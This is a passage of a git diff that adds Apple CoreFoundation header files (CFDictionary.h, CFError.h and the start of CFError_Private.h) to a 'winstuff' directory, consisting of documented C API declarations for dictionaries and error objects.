CFCopyDescription() function. + @field equal The callback used to compare values in the dictionary for + equality in some operations. +*/ +typedef struct { + CFIndex version; + CFDictionaryRetainCallBack retain; + CFDictionaryReleaseCallBack release; + CFDictionaryCopyDescriptionCallBack copyDescription; + CFDictionaryEqualCallBack equal; +} CFDictionaryValueCallBacks; + +/*! + @constant kCFTypeDictionaryValueCallBacks + Predefined CFDictionaryValueCallBacks structure containing a set + of callbacks appropriate for use when the values in a CFDictionary + are all CFTypes. +*/ +CF_EXPORT +const CFDictionaryValueCallBacks kCFTypeDictionaryValueCallBacks; + +/*! + @typedef CFDictionaryApplierFunction + Type of the callback function used by the apply functions of + CFDictionarys. + @param key The current key for the value. + @param value The current value from the dictionary. + @param context The user-defined context parameter given to the apply + function. +*/ +typedef void (*CFDictionaryApplierFunction)(const void *key, const void *value, void *context); + +/*! + @typedef CFDictionaryRef + This is the type of a reference to immutable CFDictionarys. +*/ +typedef const struct __CFDictionary * CFDictionaryRef; + +/*! + @typedef CFMutableDictionaryRef + This is the type of a reference to mutable CFDictionarys. +*/ +typedef struct __CFDictionary * CFMutableDictionaryRef; + +/*! + @function CFDictionaryGetTypeID + Returns the type identifier of all CFDictionary instances. +*/ +CF_EXPORT +CFTypeID CFDictionaryGetTypeID(void); + +/*! + @function CFDictionaryCreate + Creates a new immutable dictionary with the given values. + @param allocator The CFAllocator which should be used to allocate + memory for the dictionary and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param keys A C array of the pointer-sized keys to be used for + the parallel C array of values to be put into the dictionary. + This parameter may be NULL if the numValues parameter is 0. + This C array is not changed or freed by this function. If + this parameter is not a valid pointer to a C array of at + least numValues pointers, the behavior is undefined. + @param values A C array of the pointer-sized values to be in the + dictionary. This parameter may be NULL if the numValues + parameter is 0. This C array is not changed or freed by + this function. If this parameter is not a valid pointer to + a C array of at least numValues pointers, the behavior is + undefined. + @param numValues The number of values to copy from the keys and + values C arrays into the CFDictionary. This number will be + the count of the dictionary. If this parameter is + negative, or greater than the number of values actually + in the keys or values C arrays, the behavior is undefined. + @param keyCallBacks A pointer to a CFDictionaryKeyCallBacks structure + initialized with the callbacks for the dictionary to use on + each key in the dictionary. The retain callback will be used + within this function, for example, to retain all of the new + keys from the keys C array. A copy of the contents of the + callbacks structure is made, so that a pointer to a structure + on the stack can be passed in, or can be reused for multiple + dictionary creations. If the version field of this + callbacks structure is not one of the defined ones for + CFDictionary, the behavior is undefined. The retain field may + be NULL, in which case the CFDictionary will do nothing to add + a retain to the keys of the contained values. The release field + may be NULL, in which case the CFDictionary will do nothing + to remove the dictionary's retain (if any) on the keys when the + dictionary is destroyed or a key-value pair is removed. If the + copyDescription field is NULL, the dictionary will create a + simple description for a key. If the equal field is NULL, the + dictionary will use pointer equality to test for equality of + keys. If the hash field is NULL, a key will be converted from + a pointer to an integer to compute the hash code. This callbacks + parameter itself may be NULL, which is treated as if a valid + structure of version 0 with all fields NULL had been passed in. + Otherwise, if any of the fields are not valid pointers to + functions of the correct type, or this parameter is not a + valid pointer to a CFDictionaryKeyCallBacks callbacks structure, + the behavior is undefined. If any of the keys put into the + dictionary is not one understood by one of the callback functions + the behavior when that callback function is used is undefined. + @param valueCallBacks A pointer to a CFDictionaryValueCallBacks structure + initialized with the callbacks for the dictionary to use on + each value in the dictionary. The retain callback will be used + within this function, for example, to retain all of the new + values from the values C array. A copy of the contents of the + callbacks structure is made, so that a pointer to a structure + on the stack can be passed in, or can be reused for multiple + dictionary creations. If the version field of this callbacks + structure is not one of the defined ones for CFDictionary, the + behavior is undefined. The retain field may be NULL, in which + case the CFDictionary will do nothing to add a retain to values + as they are put into the dictionary. The release field may be + NULL, in which case the CFDictionary will do nothing to remove + the dictionary's retain (if any) on the values when the + dictionary is destroyed or a key-value pair is removed. If the + copyDescription field is NULL, the dictionary will create a + simple description for a value. If the equal field is NULL, the + dictionary will use pointer equality to test for equality of + values. This callbacks parameter itself may be NULL, which is + treated as if a valid structure of version 0 with all fields + NULL had been passed in. Otherwise, + if any of the fields are not valid pointers to functions + of the correct type, or this parameter is not a valid + pointer to a CFDictionaryValueCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + dictionary is not one understood by one of the callback functions + the behavior when that callback function is used is undefined. + @result A reference to the new immutable CFDictionary. +*/ +CF_EXPORT +CFDictionaryRef CFDictionaryCreate(CFAllocatorRef allocator, const void **keys, const void **values, CFIndex numValues, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks); + +/*! + @function CFDictionaryCreateCopy + Creates a new immutable dictionary with the key-value pairs from + the given dictionary. + @param allocator The CFAllocator which should be used to allocate + memory for the dictionary and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theDict The dictionary which is to be copied. The keys and values + from the dictionary are copied as pointers into the new + dictionary (that is, the values themselves are copied, not + that which the values point to, if anything). However, the + keys and values are also retained by the new dictionary using + the retain function of the original dictionary. + The count of the new dictionary will be the same as the + given dictionary. The new dictionary uses the same callbacks + as the dictionary to be copied. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @result A reference to the new immutable CFDictionary. +*/ +CF_EXPORT +CFDictionaryRef CFDictionaryCreateCopy(CFAllocatorRef allocator, CFDictionaryRef theDict); + +/*! + @function CFDictionaryCreateMutable + Creates a new mutable dictionary. + @param allocator The CFAllocator which should be used to allocate + memory for the dictionary and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFDictionary. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. A dictionary's actual capacity is only limited by + address space and available memory constraints). If this + parameter is negative, the behavior is undefined. + @param keyCallBacks A pointer to a CFDictionaryKeyCallBacks structure + initialized with the callbacks for the dictionary to use on + each key in the dictionary. A copy of the contents of the + callbacks structure is made, so that a pointer to a structure + on the stack can be passed in, or can be reused for multiple + dictionary creations. If the version field of this + callbacks structure is not one of the defined ones for + CFDictionary, the behavior is undefined. The retain field may + be NULL, in which case the CFDictionary will do nothing to add + a retain to the keys of the contained values. The release field + may be NULL, in which case the CFDictionary will do nothing + to remove the dictionary's retain (if any) on the keys when the + dictionary is destroyed or a key-value pair is removed. If the + copyDescription field is NULL, the dictionary will create a + simple description for a key. If the equal field is NULL, the + dictionary will use pointer equality to test for equality of + keys. If the hash field is NULL, a key will be converted from + a pointer to an integer to compute the hash code. This callbacks + parameter itself may be NULL, which is treated as if a valid + structure of version 0 with all fields NULL had been passed in. + Otherwise, if any of the fields are not valid pointers to + functions of the correct type, or this parameter is not a + valid pointer to a CFDictionaryKeyCallBacks callbacks structure, + the behavior is undefined. If any of the keys put into the + dictionary is not one understood by one of the callback functions + the behavior when that callback function is used is undefined. + @param valueCallBacks A pointer to a CFDictionaryValueCallBacks structure + initialized with the callbacks for the dictionary to use on + each value in the dictionary. The retain callback will be used + within this function, for example, to retain all of the new + values from the values C array. A copy of the contents of the + callbacks structure is made, so that a pointer to a structure + on the stack can be passed in, or can be reused for multiple + dictionary creations. If the version field of this callbacks + structure is not one of the defined ones for CFDictionary, the + behavior is undefined. The retain field may be NULL, in which + case the CFDictionary will do nothing to add a retain to values + as they are put into the dictionary. The release field may be + NULL, in which case the CFDictionary will do nothing to remove + the dictionary's retain (if any) on the values when the + dictionary is destroyed or a key-value pair is removed. If the + copyDescription field is NULL, the dictionary will create a + simple description for a value. If the equal field is NULL, the + dictionary will use pointer equality to test for equality of + values. This callbacks parameter itself may be NULL, which is + treated as if a valid structure of version 0 with all fields + NULL had been passed in. Otherwise, + if any of the fields are not valid pointers to functions + of the correct type, or this parameter is not a valid + pointer to a CFDictionaryValueCallBacks callbacks structure, + the behavior is undefined. If any of the values put into the + dictionary is not one understood by one of the callback functions + the behavior when that callback function is used is undefined. + @result A reference to the new mutable CFDictionary. +*/ +CF_EXPORT +CFMutableDictionaryRef CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks); + +/*! + @function CFDictionaryCreateMutableCopy + Creates a new mutable dictionary with the key-value pairs from + the given dictionary. + @param allocator The CFAllocator which should be used to allocate + memory for the dictionary and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param capacity A hint about the number of values that will be held + by the CFDictionary. Pass 0 for no hint. The implementation may + ignore this hint, or may use it to optimize various + operations. A dictionary's actual capacity is only limited by + address space and available memory constraints). + This parameter must be greater than or equal + to the count of the dictionary which is to be copied, or the + behavior is undefined. If this parameter is negative, the + behavior is undefined. + @param theDict The dictionary which is to be copied. The keys and values + from the dictionary are copied as pointers into the new + dictionary (that is, the values themselves are copied, not + that which the values point to, if anything). However, the + keys and values are also retained by the new dictionary using + the retain function of the original dictionary. + The count of the new dictionary will be the same as the + given dictionary. The new dictionary uses the same callbacks + as the dictionary to be copied. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @result A reference to the new mutable CFDictionary. +*/ +CF_EXPORT +CFMutableDictionaryRef CFDictionaryCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFDictionaryRef theDict); + +/*! + @function CFDictionaryGetCount + Returns the number of values currently in the dictionary. + @param theDict The dictionary to be queried. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @result The number of values in the dictionary. +*/ +CF_EXPORT +CFIndex CFDictionaryGetCount(CFDictionaryRef theDict); + +/*! + @function CFDictionaryGetCountOfKey + Counts the number of times the given key occurs in the dictionary. + @param theDict The dictionary to be searched. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param key The key for which to find matches in the dictionary. The + hash() and equal() key callbacks provided when the dictionary + was created are used to compare. If the hash() key callback + was NULL, the key is treated as a pointer and converted to + an integer. If the equal() key callback was NULL, pointer + equality (in C, ==) is used. If key, or any of the keys in + the dictionary, are not understood by the equal() callback, + the behavior is undefined. + @result Returns 1 if a matching key is used by the dictionary, + 0 otherwise. +*/ +CF_EXPORT +CFIndex CFDictionaryGetCountOfKey(CFDictionaryRef theDict, const void *key); + +/*! + @function CFDictionaryGetCountOfValue + Counts the number of times the given value occurs in the dictionary. + @param theDict The dictionary to be searched. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param value The value for which to find matches in the dictionary. The + equal() callback provided when the dictionary was created is + used to compare. If the equal() value callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values in + the dictionary, are not understood by the equal() callback, + the behavior is undefined. + @result The number of times the given value occurs in the dictionary. +*/ +CF_EXPORT +CFIndex CFDictionaryGetCountOfValue(CFDictionaryRef theDict, const void *value); + +/*! + @function CFDictionaryContainsKey + Reports whether or not the key is in the dictionary. + @param theDict The dictionary to be searched. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param key The key for which to find matches in the dictionary. The + hash() and equal() key callbacks provided when the dictionary + was created are used to compare. If the hash() key callback + was NULL, the key is treated as a pointer and converted to + an integer. If the equal() key callback was NULL, pointer + equality (in C, ==) is used. If key, or any of the keys in + the dictionary, are not understood by the equal() callback, + the behavior is undefined. + @result true, if the key is in the dictionary, otherwise false. +*/ +CF_EXPORT +Boolean CFDictionaryContainsKey(CFDictionaryRef theDict, const void *key); + +/*! + @function CFDictionaryContainsValue + Reports whether or not the value is in the dictionary. + @param theDict The dictionary to be searched. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param value The value for which to find matches in the dictionary. The + equal() callback provided when the dictionary was created is + used to compare. If the equal() callback was NULL, pointer + equality (in C, ==) is used. If value, or any of the values + in the dictionary, are not understood by the equal() callback, + the behavior is undefined. + @result true, if the value is in the dictionary, otherwise false. +*/ +CF_EXPORT +Boolean CFDictionaryContainsValue(CFDictionaryRef theDict, const void *value); + +/*! + @function CFDictionaryGetValue + Retrieves the value associated with the given key. + @param theDict The dictionary to be queried. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param key The key for which to find a match in the dictionary. The + hash() and equal() key callbacks provided when the dictionary + was created are used to compare. If the hash() key callback + was NULL, the key is treated as a pointer and converted to + an integer. If the equal() key callback was NULL, pointer + equality (in C, ==) is used. If key, or any of the keys in + the dictionary, are not understood by the equal() callback, + the behavior is undefined. + @result The value with the given key in the dictionary, or NULL if + no key-value pair with a matching key exists. Since NULL + can be a valid value in some dictionaries, the function + CFDictionaryGetValueIfPresent() must be used to distinguish + NULL-no-found from NULL-is-the-value. +*/ +CF_EXPORT +const void *CFDictionaryGetValue(CFDictionaryRef theDict, const void *key); + +/*! + @function CFDictionaryGetValueIfPresent + Retrieves the value associated with the given key. + @param theDict The dictionary to be queried. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param key The key for which to find a match in the dictionary. The + hash() and equal() key callbacks provided when the dictionary + was created are used to compare. If the hash() key callback + was NULL, the key is treated as a pointer and converted to + an integer. If the equal() key callback was NULL, pointer + equality (in C, ==) is used. If key, or any of the keys in + the dictionary, are not understood by the equal() callback, + the behavior is undefined. + @param value A pointer to memory which should be filled with the + pointer-sized value if a matching key is found. If no key + match is found, the contents of the storage pointed to by + this parameter are undefined. This parameter may be NULL, + in which case the value from the dictionary is not returned + (but the return value of this function still indicates + whether or not the key-value pair was present). + @result true, if a matching key was found, false otherwise. +*/ +CF_EXPORT +Boolean CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value); + +/*! + @function CFDictionaryGetKeysAndValues + Fills the two buffers with the keys and values from the dictionary. + @param theDict The dictionary to be queried. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param keys A C array of pointer-sized values to be filled with keys + from the dictionary. The keys and values C arrays are parallel + to each other (that is, the items at the same indices form a + key-value pair from the dictionary). This parameter may be NULL + if the keys are not desired. If this parameter is not a valid + pointer to a C array of at least CFDictionaryGetCount() pointers, + or NULL, the behavior is undefined. + @param values A C array of pointer-sized values to be filled with values + from the dictionary. The keys and values C arrays are parallel + to each other (that is, the items at the same indices form a + key-value pair from the dictionary). This parameter may be NULL + if the values are not desired. If this parameter is not a valid + pointer to a C array of at least CFDictionaryGetCount() pointers, + or NULL, the behavior is undefined. +*/ +CF_EXPORT +void CFDictionaryGetKeysAndValues(CFDictionaryRef theDict, const void **keys, const void **values); + +/*! + @function CFDictionaryApplyFunction + Calls a function once for each value in the dictionary. + @param theDict The dictionary to be queried. If this parameter is + not a valid CFDictionary, the behavior is undefined. + @param applier The callback function to call once for each value in + the dictionary. If this parameter is not a + pointer to a function of the correct prototype, the behavior + is undefined. If there are keys or values which the + applier function does not expect or cannot properly apply + to, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the third parameter to the applier function, but is + otherwise unused by this function. If the context is not + what is expected by the applier function, the behavior is + undefined. +*/ +CF_EXPORT +void CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context); + +/*! + @function CFDictionaryAddValue + Adds the key-value pair to the dictionary if no such key already exists. + @param theDict The dictionary to which the value is to be added. If this + parameter is not a valid mutable CFDictionary, the behavior is + undefined. + @param key The key of the value to add to the dictionary. The key is + retained by the dictionary using the retain callback provided + when the dictionary was created. If the key is not of the sort + expected by the retain callback, the behavior is undefined. If + a key which matches this key is already present in the dictionary, + this function does nothing ("add if absent"). + @param value The value to add to the dictionary. The value is retained + by the dictionary using the retain callback provided when the + dictionary was created. If the value is not of the sort expected + by the retain callback, the behavior is undefined. +*/ +CF_EXPORT +void CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value); + +/*! + @function CFDictionarySetValue + Sets the value of the key in the dictionary. + @param theDict The dictionary to which the value is to be set. If this + parameter is not a valid mutable CFDictionary, the behavior is + undefined. + @param key The key of the value to set into the dictionary. If a key + which matches this key is already present in the dictionary, only + the value is changed ("add if absent, replace if present"). If + no key matches the given key, the key-value pair is added to the + dictionary. If added, the key is retained by the dictionary, + using the retain callback provided + when the dictionary was created. If the key is not of the sort + expected by the key retain callback, the behavior is undefined. + @param value The value to add to or replace into the dictionary. The value + is retained by the dictionary using the retain callback provided + when the dictionary was created, and the previous value if any is + released. If the value is not of the sort expected by the + retain or release callbacks, the behavior is undefined. +*/ +CF_EXPORT +void CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value); + +/*! + @function CFDictionaryReplaceValue + Replaces the value of the key in the dictionary. + @param theDict The dictionary to which the value is to be replaced. If this + parameter is not a valid mutable CFDictionary, the behavior is + undefined. + @param key The key of the value to replace in the dictionary. If a key + which matches this key is present in the dictionary, the value + is changed to the given value, otherwise this function does + nothing ("replace if present"). + @param value The value to replace into the dictionary. The value + is retained by the dictionary using the retain callback provided + when the dictionary was created, and the previous value is + released. If the value is not of the sort expected by the + retain or release callbacks, the behavior is undefined. +*/ +CF_EXPORT +void CFDictionaryReplaceValue(CFMutableDictionaryRef theDict, const void *key, const void *value); + +/*! + @function CFDictionaryRemoveValue + Removes the value of the key from the dictionary. + @param theDict The dictionary from which the value is to be removed. If this + parameter is not a valid mutable CFDictionary, the behavior is + undefined. + @param key The key of the value to remove from the dictionary. If a key + which matches this key is present in the dictionary, the key-value + pair is removed from the dictionary, otherwise this function does + nothing ("remove if present"). +*/ +CF_EXPORT +void CFDictionaryRemoveValue(CFMutableDictionaryRef theDict, const void *key); + +/*! + @function CFDictionaryRemoveAllValues + Removes all the values from the dictionary, making it empty. + @param theDict The dictionary from which all of the values are to be + removed. If this parameter is not a valid mutable + CFDictionary, the behavior is undefined. +*/ +CF_EXPORT +void CFDictionaryRemoveAllValues(CFMutableDictionaryRef theDict); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFDICTIONARY__ */ + diff --git a/winstuff/CoreFoundation/CFError.h b/winstuff/CoreFoundation/CFError.h new file mode 100644 index 0000000..1bb96ac --- /dev/null +++ b/winstuff/CoreFoundation/CFError.h @@ -0,0 +1,170 @@ +/* CFError.h + Copyright (c) 2006-2007, Apple Inc. All rights reserved. +*/ + +/*! + @header CFError + @discussion + CFErrors are used to encompass information about errors. At minimum, errors are identified by their domain (a string) and an error code within that domain. In addition a "userInfo" dictionary supplied at creation time enables providing additional info that might be useful for the interpretation and reporting of the error. This dictionary can even contain an "underlying" error, which is wrapped as an error bubbles up through various layers. + + CFErrors have the ability to provide human-readable descriptions for the errors; in fact, they are designed to provide localizable, end-user presentable errors that can appear in the UI. CFError has a number of predefined userInfo keys to enable developers to supply the info. + + Usage recommendation for CFErrors is to return them as by-ref parameters in functions. This enables the caller to pass NULL in when they don't actually want information about the error. The presence of an error should be reported by other means, for instance a NULL or false return value from the function call proper: + + CFError *error; + if (!ReadFromFile(fd, &error)) { + ... process error ... + CFRelease(error); // If an error occurs, the returned CFError must be released. + } + + It is the responsibility of anyone returning CFErrors this way to: + - Not touch the error argument if no error occurs + - Create and assign the error for return only if the error argument is non-NULL + + In addition, it's recommended that CFErrors be used in error situations only (not status), and where there are multiple possible errors to distinguish between. For instance there is no plan to add CFErrors to existing APIs in CF which currently don't return errors; in many cases, there is one possible reason for failure, and a false or NULL return is enough to indicate it. + + CFError is toll-free bridged to NSError in Foundation. NSError in Foundation has some additional guidelines which makes it easy to automatically report errors to users and even try to recover from them. See http://developer.apple.com/documentation/Cocoa/Conceptual/ErrorHandlingCocoa/ErrorHandling/chapter_1_section_1.html for more info on NSError programming guidelines. +*/ + +#if !defined(__COREFOUNDATION_CFERROR__) +#define __COREFOUNDATION_CFERROR__ 1 + +#include +#include +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFErrorRef + This is the type of a reference to CFErrors. CFErrorRef is toll-free bridged with NSError. +*/ +typedef struct __CFError * CFErrorRef; + +/*! + @function CFErrorGetTypeID + Returns the type identifier of all CFError instances. +*/ +CF_EXPORT +CFTypeID CFErrorGetTypeID(void) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + + +// Predefined domains; value of "code" will correspond to preexisting values in these domains. +CF_EXPORT const CFStringRef kCFErrorDomainPOSIX AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +CF_EXPORT const CFStringRef kCFErrorDomainOSStatus AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +CF_EXPORT const CFStringRef kCFErrorDomainMach AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +CF_EXPORT const CFStringRef kCFErrorDomainCocoa AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +// Keys in userInfo for localizable, end-user presentable error messages. At minimum provide one of first two; ideally provide all three. +CF_EXPORT const CFStringRef kCFErrorLocalizedDescriptionKey AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // Key to identify the end user-presentable description in userInfo. +CF_EXPORT const CFStringRef kCFErrorLocalizedFailureReasonKey AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // Key to identify the end user-presentable failure reason in userInfo. +CF_EXPORT const CFStringRef kCFErrorLocalizedRecoverySuggestionKey AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // Key to identify the end user-presentable recovery suggestion in userInfo. + +// If you do not have localizable error strings, you can provide a value for this key instead. +CF_EXPORT const CFStringRef kCFErrorDescriptionKey AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // Key to identify the description in the userInfo dictionary. Should be a complete sentence if possible. Should not contain domain name or error code. + +// Other keys in userInfo. +CF_EXPORT const CFStringRef kCFErrorUnderlyingErrorKey AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; // Key to identify the underlying error in userInfo. + + +/*! + @function CFErrorCreate + @abstract Creates a new CFError. + @param allocator The CFAllocator which should be used to allocate memory for the error. This parameter may be NULL in which case the + current default CFAllocator is used. If this reference is not a valid CFAllocator, the behavior is undefined. + @param domain A CFString identifying the error domain. If this reference is NULL or is otherwise not a valid CFString, the behavior is undefined. + @param code A CFIndex identifying the error code. The code is interpreted within the context of the error domain. + @param userInfo A CFDictionary created with kCFCopyStringDictionaryKeyCallBacks and kCFTypeDictionaryValueCallBacks. It will be copied with CFDictionaryCreateCopy(). + If no userInfo dictionary is desired, NULL may be passed in as a convenience, in which case an empty userInfo dictionary will be assigned. + @result A reference to the new CFError. +*/ +CF_EXPORT +CFErrorRef CFErrorCreate(CFAllocatorRef allocator, CFStringRef domain, CFIndex code, CFDictionaryRef userInfo) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorCreateWithUserInfoKeysAndValues + @abstract Creates a new CFError without having to create an intermediate userInfo dictionary. + @param allocator The CFAllocator which should be used to allocate memory for the error. This parameter may be NULL in which case the + current default CFAllocator is used. If this reference is not a valid CFAllocator, the behavior is undefined. + @param domain A CFString identifying the error domain. If this reference is NULL or is otherwise not a valid CFString, the behavior is undefined. + @param code A CFIndex identifying the error code. The code is interpreted within the context of the error domain. + @param userInfoKeys An array of numUserInfoValues CFStrings used as keys in creating the userInfo dictionary. NULL is valid only if numUserInfoValues is 0. + @param userInfoValues An array of numUserInfoValues CF types used as values in creating the userInfo dictionary. NULL is valid only if numUserInfoValues is 0. + @param numUserInfoValues CFIndex representing the number of keys and values in the userInfoKeys and userInfoValues arrays. + @result A reference to the new CFError. numUserInfoValues CF types are gathered from each of userInfoKeys and userInfoValues to create the userInfo dictionary. +*/ +CF_EXPORT +CFErrorRef CFErrorCreateWithUserInfoKeysAndValues(CFAllocatorRef allocator, CFStringRef domain, CFIndex code, const void *const *userInfoKeys, const void *const *userInfoValues, CFIndex numUserInfoValues) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorGetDomain + @abstract Returns the error domain the CFError was created with. + @param err The CFError whose error domain is to be returned. If this reference is not a valid CFError, the behavior is undefined. + @result The error domain of the CFError. Since this is a "Get" function, the caller shouldn't CFRelease the return value. +*/ +CF_EXPORT +CFStringRef CFErrorGetDomain(CFErrorRef err) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorGetCode + @abstract Returns the error code the CFError was created with. + @param err The CFError whose error code is to be returned. If this reference is not a valid CFError, the behavior is undefined. + @result The error code of the CFError (not an error return for the current call). +*/ +CF_EXPORT +CFIndex CFErrorGetCode(CFErrorRef err) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorCopyUserInfo + @abstract Returns CFError userInfo dictionary. + @discussion Returns a dictionary containing the same keys and values as in the userInfo dictionary the CFError was created with. Returns an empty dictionary if NULL was supplied to CFErrorCreate(). + @param err The CFError whose error user info is to be returned. If this reference is not a valid CFError, the behavior is undefined. + @result The user info of the CFError. +*/ +CF_EXPORT +CFDictionaryRef CFErrorCopyUserInfo(CFErrorRef err) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorCopyDescription + @abstract Returns a human-presentable description for the error. CFError creators should strive to make sure the return value is human-presentable and localized by providing a value for kCFErrorLocalizedDescriptionKey at the time of CFError creation. + @discussion This is a complete sentence or two which says what failed and why it failed. Rules for computing the return value: + - Look for kCFErrorLocalizedDescriptionKey in the user info and if not NULL, returns that as-is. + - Otherwise, if there is a kCFErrorLocalizedFailureReasonKey in the user info, generate an error from that. Something like: "Operation code not be completed. " + kCFErrorLocalizedFailureReasonKey + - Otherwise, generate a semi-user presentable string from kCFErrorDescriptionKey, the domain, and code. Something like: "Operation could not be completed. Error domain/code occurred. " or "Operation could not be completed. " + kCFErrorDescriptionKey + " (Error domain/code)" + Toll-free bridged NSError instances might provide additional behaviors for manufacturing a description string. Do not count on the exact contents or format of the returned string, it might change. + @param err The CFError whose description is to be returned. If this reference is not a valid CFError, the behavior is undefined. + @result A CFString with human-presentable description of the CFError. Never NULL. +*/ +CF_EXPORT +CFStringRef CFErrorCopyDescription(CFErrorRef err) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorCopyFailureReason + @abstract Returns a human-presentable failure reason for the error. May return NULL. CFError creators should strive to make sure the return value is human-presentable and localized by providing a value for kCFErrorLocalizedFailureReasonKey at the time of CFError creation. + @discussion This is a complete sentence which describes why the operation failed. In many cases this will be just the "because" part of the description (but as a complete sentence, which makes localization easier). By default this looks for kCFErrorLocalizedFailureReasonKey in the user info. Toll-free bridged NSError instances might provide additional behaviors for manufacturing this value. If no user-presentable string is available, returns NULL. + Example Description: "Could not save file 'Letter' in folder 'Documents' because the volume 'MyDisk' doesn't have enough space." + Corresponding FailureReason: "The volume 'MyDisk' doesn't have enough space." + @param err The CFError whose failure reason is to be returned. If this reference is not a valid CFError, the behavior is undefined. + @result A CFString with the localized, end-user presentable failure reason of the CFError, or NULL. +*/ +CF_EXPORT +CFStringRef CFErrorCopyFailureReason(CFErrorRef err) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*! + @function CFErrorCopyRecoverySuggestion + @abstract Returns a human presentable recovery suggestion for the error. May return NULL. CFError creators should strive to make sure the return value is human-presentable and localized by providing a value for kCFErrorLocalizedRecoverySuggestionKey at the time of CFError creation. + @discussion This is the string that can be displayed as the "informative" (aka "secondary") message on an alert panel. By default this looks for kCFErrorLocalizedRecoverySuggestionKey in the user info. Toll-free bridged NSError instances might provide additional behaviors for manufacturing this value. If no user-presentable string is available, returns NULL. + Example Description: "Could not save file 'Letter' in folder 'Documents' because the volume 'MyDisk' doesn't have enough space." + Corresponding RecoverySuggestion: "Remove some files from the volume and try again." + @param err The CFError whose recovery suggestion is to be returned. If this reference is not a valid CFError, the behavior is undefined. + @result A CFString with the localized, end-user presentable recovery suggestion of the CFError, or NULL. +*/ +CF_EXPORT +CFStringRef CFErrorCopyRecoverySuggestion(CFErrorRef err) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFERROR__ */ + diff --git a/winstuff/CoreFoundation/CFError_Private.h b/winstuff/CoreFoundation/CFError_Private.h new file mode 100644 index 0000000..2cfd3ea --- /dev/null +++ b/winstuff/CoreFoundation/CFError_Private.h @@ -0,0 +1,50 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFError_Private.h + Copyright (c) 2006-2007, Apple Inc. All rights reserved. + + This is Apple-internal SPI for CFError. +*/ + +#if !defined(__COREFOUNDATION_CFERRORPRIVATE__) +#define __COREFOUNDATION_CFERRORPRIVATE__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/* This callback function is consulted if a key is not present in the userInfo dictionary. Note that setting a callback for the same domain again simply replaces the previous callback. Set NULL as the callback to remove it. +*/ +typedef CFTypeRef (*CFErrorUserInfoKeyCallBack)(CFErrorRef err, CFStringRef key); +CF_EXPORT void CFErrorSetCallBackForDomain(CFStringRef domainName, CFErrorUserInfoKeyCallBack callBack) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +CF_EXPORT CFErrorUserInfoKeyCallBack 